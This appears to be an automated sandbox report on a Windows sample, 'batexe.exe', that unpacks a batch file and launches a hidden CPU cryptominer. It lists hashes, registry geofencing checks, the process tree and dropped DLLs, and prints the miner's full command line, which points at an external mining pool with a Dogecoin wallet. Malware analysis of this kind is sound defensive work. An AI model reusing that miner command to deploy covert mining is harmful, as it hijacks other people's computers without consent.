73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
288s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 17:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
220	b2e.exe
2280	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2280	cpuminer-sse2.exe
2280	cpuminer-sse2.exe
2280	cpuminer-sse2.exe
2280	cpuminer-sse2.exe
2280	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1632-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 220	1632	batexe.exe	87
PID 1632 wrote to memory of 220	1632	batexe.exe	87
PID 1632 wrote to memory of 220	1632	batexe.exe	87
PID 220 wrote to memory of 2580	220	b2e.exe	88
PID 220 wrote to memory of 2580	220	b2e.exe	88
PID 220 wrote to memory of 2580	220	b2e.exe	88
PID 2580 wrote to memory of 2280	2580	cmd.exe	91
PID 2580 wrote to memory of 2280	2580	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Users\Admin\AppData\Local\Temp\62D1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\62D1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\62D1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\664B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\62D1.tmp\b2e.exe

Filesize
26.9MB

MD5
22c93dc09f948210ce22735085d50060

SHA1
0079219a700bd36edf526714561aeef852202014

SHA256
429a20a12ba2bf8f3d56828d6453e40aa3e07c324f402118cd9db48c848ce256

SHA512
fa82da5cf378e53543b16e99651a6b55e9a195d44ca6924f16dbd6b9eff71e65fa7f0f494bee6dca3554e7ebedcd3bbc587c4dc1c3afc77ce5695c025059770d

Download Submit
C:\Users\Admin\AppData\Local\Temp\62D1.tmp\b2e.exe

Filesize
7.4MB

MD5
d1a23c525cadfa5c6ab9f27f0135d7c4

SHA1
25afca5be8691a6e83454cb611e5c2a8f7ea61eb

SHA256
a9049353b2a7d703222156baa1cdf3d3a2f00d0c7eacc30ea538049fa0e79268

SHA512
18f951fb9da9aeccda2878dd3cdc85d10bd25b866d0cfc1a36bdec4346a37fd12bcd585bef45a52a9b5b43761a71127ce9744e2872a3c772ad19ba1e8fec02ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\62D1.tmp\b2e.exe

Filesize
10.7MB

MD5
312574f33f84b5dd65195b3a761691c5

SHA1
7de40b1fbbc116a7108ca30d21b85ddbba1985e5

SHA256
c6ab6bf8dade4764f36eaf863c7eed90a40874f1cd02e295233636692e925bab

SHA512
b9d4685ede48a64bffa30be67ff325402da5c4bf6e6742bcc3f1a8cf5bb40598aa51765c64ab18de2368591f96fe8ddaf48a6d512d1128f3809d57e70918fb8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\664B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
7783b30eb579f158a07514504efdaa51

SHA1
8bc0b9b136460828a278820192703ba8776d3fc8

SHA256
2f424ae97956ec051b9dde085f91b1c55937c7ea7f388daac5463faff27eab93

SHA512
7f252d07f223bf507c6c0cb2816850a282d13baa9900ac7e145905e46286838919d0666d80d1aaf3062fc6d1d392b787cdf072f51c3894457d20ecce0d3a809b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
f760e7904e988155a0beb93823d901c7

SHA1
a759c2ed793ebc4c8d28200a0285db0bd60d9066

SHA256
8d9e651401ce1a4c304ece3c8420e9a4bd9794911094426ab07b6f3320837ca5

SHA512
2cb7ba9287fc140cac0e5c18a20c4ee9e464b36c014b54dd4434a0b067bbc0a78568fe4a7bca9dc1cadfe83a9171c9aa3ffd0b23930e3d0d0b5c5d1c12e53608

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
9dcb556c4f6e7c478b0e56f3d8facc74

SHA1
e52dfee3d37edd7abdc522634fedb2d73788f4c1

SHA256
cf3ab34e8a1825ad079ab659be20dbb746a57b7d98d9e10e07f9e27d0e9bfc92

SHA512
53340dd0f52fbd93a2649bc11b6575e32263117cd79d1692b979417664ed08fcdf36a25fdd118706c9e8041fa0493aac434b57ff6e0a722f699e8d321fe31d93

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/220-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/220-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1632-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2280-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2280-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-46-0x0000000053720000-0x00000000537B8000-memory.dmp

Filesize
608KB

Download
memory/2280-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/2280-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2280-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2280-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download